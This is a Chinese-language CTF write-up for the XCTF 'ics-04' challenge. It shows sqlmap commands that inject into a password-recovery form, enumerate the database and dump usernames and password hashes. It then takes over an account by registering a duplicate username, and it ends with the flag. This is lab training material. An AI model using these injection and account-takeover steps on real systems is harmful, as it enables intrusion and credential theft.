CTF ics-04

2020-10-06 15:00:31

難度係數: ★★★★
題目來源: XCTF 4th-CyberEarth
題目描述: 工控雲管理系統新新增的登入和註冊頁面存在漏洞,請找出flag。
題目場景: http://220.249.52.133:52962(溫馨提示:每次進入URL的埠號都不一樣)

1、點選連結進入如下介面

在這裡插入圖片描述
2、先註冊幾個賬號,相同的使用者名稱

在這裡插入圖片描述3、登入—>忘記密碼

在這裡插入圖片描述

4、忘記密碼

在這裡插入圖片描述

5、在kail Linux 裡,開始sql注入

執行如下:

5.1

sqlmap ‐u "http://220.249.52.133:52962/findpwd.php" ‐‐data "username=1" ‐dbs

在這裡插入圖片描述

5.2

sqlmap ‐u "http://220.249.52.133:52962/findpwd.php" ‐‐data "username=1" -D cetc004 - -tables

在這裡插入圖片描述
5.3

sqlmap ‐u "http://220.249.52.133:52962/findpwd.php" ‐‐data "username=1" -D cetc004 -T user - -columns

在這裡插入圖片描述

5.4

sqlmap ‐u "http://220.249.52.133:52962/findpwd.php" ‐‐data "username=1" -D cetc004  -T user -C "username,password" - -dump

在這裡插入圖片描述

5.5 OK

在這裡插入圖片描述

有一個沒註冊過的使用者名稱:c3tlwDmIn23

在這裡插入圖片描述
其密碼經過 md5 加密處理過,但這個使用者的密碼沒有被解析出來。

6、看到有兩個使用者名稱為 yibodong,並且題目描述中說了註冊頁面有漏洞,再重複註冊一個 c3tlwDmIn23 使用者

在這裡插入圖片描述

7、登入—>flag就出來了

在這裡插入圖片描述

8、OK

cyberpeace{f3f54fb8f17053c68a7672794dae7e98}